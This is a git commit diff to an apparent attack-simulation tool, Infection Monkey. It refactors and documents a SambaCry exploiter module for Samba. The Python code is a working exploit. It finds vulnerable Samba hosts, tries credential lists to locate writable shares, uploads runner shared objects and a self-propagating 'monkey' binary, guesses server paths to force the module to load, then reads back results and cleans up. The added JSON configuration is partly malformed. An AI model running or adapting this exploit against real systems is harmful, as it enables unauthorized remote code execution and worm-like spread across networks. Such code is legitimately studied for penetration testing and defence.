Documented sambacry, moved everything to configuration, minor fixes

This commit is contained in:
Itay Mizeretz 2017-08-31 20:03:32 +03:00
parent 5de433eae0
commit c612ea0361
3 changed files with 134 additions and 68 deletions

View File

@ -220,10 +220,33 @@ class Configuration(object):
smb_download_timeout = 300 # timeout in seconds
smb_service_name = "InfectionMonkey"
# Timeout (in seconds) for sambacry's trigger to yield results.
sambacry_trigger_timeout = 5
# Folder paths to guess share lies inside.
sambacry_folder_paths_to_guess = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home']
# Shares to not check if they're writable.
sambacry_shares_not_to_check = ["IPC$", "print$"]
# Name of file which contains the monkey's commandline
sambacry_commandline_filename = "monkey_commandline.txt"
# Name of file which contains the runner's result
sambacry_runner_result_filename = "monkey_runner_result"
# SambaCry runner filename (32 bit)
sambacry_runner_filename_32 = "sc_monkey_runner32.so"
# SambaCry runner filename (64 bit)
sambacry_runner_filename_64 = "sc_monkey_runner64.so"
# Monkey filename on share (32 bit)
sambacry_monkey_filename_32 = "monkey32"
# Monkey filename on share (64 bit)
sambacry_monkey_filename_64 = "monkey64"
# Monkey copy filename on share (32 bit)
sambacry_monkey_copy_filename_32 = "monkey32_2"
# Monkey copy filename on share (64 bit)
sambacry_monkey_copy_filename_64 = "monkey64_2"
# system info collection
collect_system_info = True
###########################
# systeminfo config
###########################

View File

@ -58,9 +58,20 @@
"serialize_config": false,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"skip_exploit_if_file_exist": true,
"local_network_scan": true,
"exploit_user_list": [],
"exploit_password_list" = []
"exploit_password_list": [],
sambacry_trigger_timeout: 5,
sambacry_folder_paths_to_guess: ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'],
sambacry_shares_not_to_check: ["IPC$", "print$"],
sambacry_commandline_filename: "monkey_commandline.txt",
sambacry_runner_result_filename: "monkey_runner_result",
sambacry_runner_filename_32: "sc_monkey_runner32.so",
sambacry_runner_filename_64: "sc_monkey_runner64.so",
sambacry_monkey_filename_32: "monkey32",
sambacry_monkey_filename_64: "monkey64",
sambacry_monkey_copy_filename_32: "monkey32_2",
sambacry_monkey_copy_filename_64: "monkey64_2",
"local_network_scan": false,
"tcp_scan_get_banner": true,
"tcp_scan_interval": 200,
"tcp_scan_timeout": 10000,

View File

@ -1,51 +1,36 @@
from optparse import OptionParser
from impacket.dcerpc.v5 import transport
from os import path
import time
import sys
from io import BytesIO
import logging
import re
from impacket.smbconnection import SMBConnection
import sys
import time
from io import BytesIO
from os import path
import impacket.smbconnection
from impacket.smb import SessionError
from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED
from impacket.nt_errors import STATUS_SUCCESS
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \
SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA
from impacket.smb import SessionError
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, \
SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE
from impacket.smbconnection import SMBConnection
from exploit import HostExploiter
from exploit.tools import get_target_monkey
from network.smbfinger import SMB_SERVICE
from model import DROPPER_ARG
from tools import build_monkey_commandline
import monkeyfs
from exploit import HostExploiter
from model import DROPPER_ARG
from network.smbfinger import SMB_SERVICE
from tools import build_monkey_commandline
__author__ = 'itay.mizeretz'
# TODO: add documentation
# TODO: add license credit?: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
# TODO: remove /home/user
# TODO: take all from config
FOLDER_PATHS_TO_GUESS = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home', '/home/user']
RUNNER_FILENAME_32 = "sc_monkey_runner32.so"
RUNNER_FILENAME_64 = "sc_monkey_runner64.so"
COMMANDLINE_FILENAME = "monkey_commandline.txt"
MONKEY_FILENAME_32 = "monkey32"
MONKEY_FILENAME_64 = "monkey64"
MONKEY_COPY_FILENAME_32 = "monkey32_2"
MONKEY_COPY_FILENAME_64 = "monkey64_2"
RUNNER_RESULT_FILENAME = "monkey_runner_result"
SHARES_TO_NOT_CHECK = ["IPC$", "print$"]
LOG = logging.getLogger(__name__)
class SambaCryExploiter(HostExploiter):
"""
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
"""
# TODO: is this credit sufficient?
_target_os_type = ['linux']
def __init__(self):
@ -53,20 +38,19 @@ class SambaCryExploiter(HostExploiter):
def exploit_host(self, host, depth=-1, src_path=None):
if not self.is_vulnerable(host):
return
return False
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr)
LOG.info("Writable shares and their credentials on host %s: %s" %
(host.ip_addr, str(writable_shares_creds_dict)))
# TODO: decide about ignoring src_path because of arc detection bug
src_path = src_path or get_target_monkey(host)
host.services[SMB_SERVICE]["shares"] = {}
for share in writable_shares_creds_dict:
host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]}
self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth)
# TODO: config sleep time
time.sleep(5)
# Wait for samba server to load .so, execute code and create result file.
time.sleep(self._config.sambacry_trigger_timeout)
successfully_triggered_shares = []
@ -76,7 +60,8 @@ class SambaCryExploiter(HostExploiter):
successfully_triggered_shares.append((share, trigger_result))
self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
# TODO: send telemetry
for share, fullpath in successfully_triggered_shares:
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
if len(successfully_triggered_shares) > 0:
LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
@ -86,6 +71,14 @@ class SambaCryExploiter(HostExploiter):
return False
def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth):
"""
Tries exploiting share
:param host: victim Host object
:param share: share name
:param creds: credentials to use with share
:param monkey_bin_src_path: src path of monkey binary to upload
:param depth: current depth of monkey
"""
try:
smb_client = self.connect_to_server(host.ip_addr, creds)
self.upload_module(smb_client, host, share, monkey_bin_src_path, depth)
@ -95,12 +88,18 @@ class SambaCryExploiter(HostExploiter):
LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
def clean_share(self, ip, share, creds):
"""
Cleans remote share of any remaining files created by monkey
:param ip: IP of victim
:param share: share name
:param creds: credentials to use with share.
"""
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
file_list = [COMMANDLINE_FILENAME, RUNNER_RESULT_FILENAME,
RUNNER_FILENAME_32, RUNNER_FILENAME_64,
MONKEY_FILENAME_32, MONKEY_FILENAME_64,
MONKEY_COPY_FILENAME_32, MONKEY_COPY_FILENAME_64]
file_list = [self._config.sambacry_commandline_filename, self._config.sambacry_runner_result_filename,
self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64,
self._config.sambacry_monkey_filename_32, self._config.sambacry_monkey_filename_64,
self._config.sambacry_monkey_copy_filename_32, self._config.sambacry_monkey_copy_filename_64]
for filename in file_list:
try:
@ -112,11 +111,19 @@ class SambaCryExploiter(HostExploiter):
smb_client.close()
def get_trigger_result(self, ip, share, creds):
"""
Checks if the trigger yielded any result and returns it.
:param ip: IP of victim
:param share: share name
:param creds: credentials to use with share.
:return: result of trigger if there was one. None otherwise
"""
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
file_content = None
try:
file_id = smb_client.openFile(tree_id, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA)
file_id = smb_client.openFile(tree_id, "\\%s" % self._config.sambacry_runner_result_filename,
desiredAccess=FILE_READ_DATA)
file_content = smb_client.readFile(tree_id, file_id)
smb_client.closeFile(tree_id, file_id)
except (impacket.smbconnection.SessionError, SessionError):
@ -127,7 +134,11 @@ class SambaCryExploiter(HostExploiter):
return file_content
def get_writable_shares_creds_dict(self, ip):
# TODO: document
"""
Gets dictionary of writable shares and their credentials
:param ip: IP address of the victim
:return: Dictionary of writable shares and their corresponding credentials.
"""
writable_shares_creds_dict = {}
credentials_list = self.get_credentials_list()
@ -163,13 +174,18 @@ class SambaCryExploiter(HostExploiter):
def list_shares(self, smb_client):
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
for share in SHARES_TO_NOT_CHECK:
for share in self._config.sambacry_shares_not_to_check:
if share in shares:
shares.remove(share)
return shares
def is_vulnerable(self, host):
"""
Checks whether the victim runs a possibly vulnerable version of samba
:param host: victim Host object
:return: True if victim is vulnerable, False otherwise
"""
if SMB_SERVICE not in host.services:
LOG.info("Host: %s doesn't have SMB open" % host.ip_addr)
return False
@ -199,6 +215,12 @@ class SambaCryExploiter(HostExploiter):
return is_vulnerable
def is_share_writable(self, smb_client, share):
"""
Checks whether the share is writable
:param smb_client: smb client object
:param share: share name
:return: True if share is writable, False otherwise.
"""
LOG.debug('Checking %s for write access' % share)
try:
tree_id = smb_client.connectTree(share)
@ -217,20 +239,28 @@ class SambaCryExploiter(HostExploiter):
return writable
def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth):
"""
Uploads the module and all relevant files to server
:param smb_client: smb client object
:param host: victim Host object
:param share: share name
:param monkey_bin_src_path: src path of monkey binary to upload
:param depth: current depth of monkey
"""
tree_id = smb_client.connectTree(share)
with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file:
smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, monkey_commandline_file.read)
smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read)
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_32, monkey_runner_bin_file.read)
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_32, monkey_runner_bin_file.read)
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_64, monkey_runner_bin_file.read)
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read)
with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file:
# TODO: Fix or postpone 32/64 architecture problem.
smb_client.putFile(share, "\\%s" % MONKEY_FILENAME_64, monkey_bin_file.read)
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read)
smb_client.disconnectTree(tree_id)
@ -246,9 +276,15 @@ class SambaCryExploiter(HostExploiter):
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
return smb_client
def trigger_module(self, smb_client, share_name):
def trigger_module(self, smb_client, share):
"""
Tries triggering module
:param smb_client: smb client object
:param share: share name
:return: True if might triggered successfully, False otherwise.
"""
trigger_might_succeeded = False
module_possible_paths = self.generate_module_possible_paths(share_name)
module_possible_paths = self.generate_module_possible_paths(share)
for module_path in module_possible_paths:
trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path)
@ -270,13 +306,11 @@ class SambaCryExploiter(HostExploiter):
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
return True
else:
# TODO: remove print
print str(e)
pass
return False
@staticmethod
def generate_module_possible_paths(share_name):
def generate_module_possible_paths(self, share_name):
"""
Generates array of possible paths
:param share_name: Name of the share
@ -284,21 +318,19 @@ class SambaCryExploiter(HostExploiter):
"""
possible_paths = []
for folder_path in FOLDER_PATHS_TO_GUESS:
for file_name in [RUNNER_FILENAME_32, RUNNER_FILENAME_64]:
for folder_path in self._config.sambacry_folder_paths_to_guess:
for file_name in [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]:
possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name))
return possible_paths
@staticmethod
def get_monkey_runner_bin_file(is_32bit):
def get_monkey_runner_bin_file(self, is_32bit):
if is_32bit:
return open(path.join(sys._MEIPASS, RUNNER_FILENAME_32), "rb")
return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_32), "rb")
else:
return open(path.join(sys._MEIPASS, RUNNER_FILENAME_64), "rb")
return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_64), "rb")
@staticmethod
def get_monkey_commandline_file(host, depth, location):
def get_monkey_commandline_file(self, host, depth, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #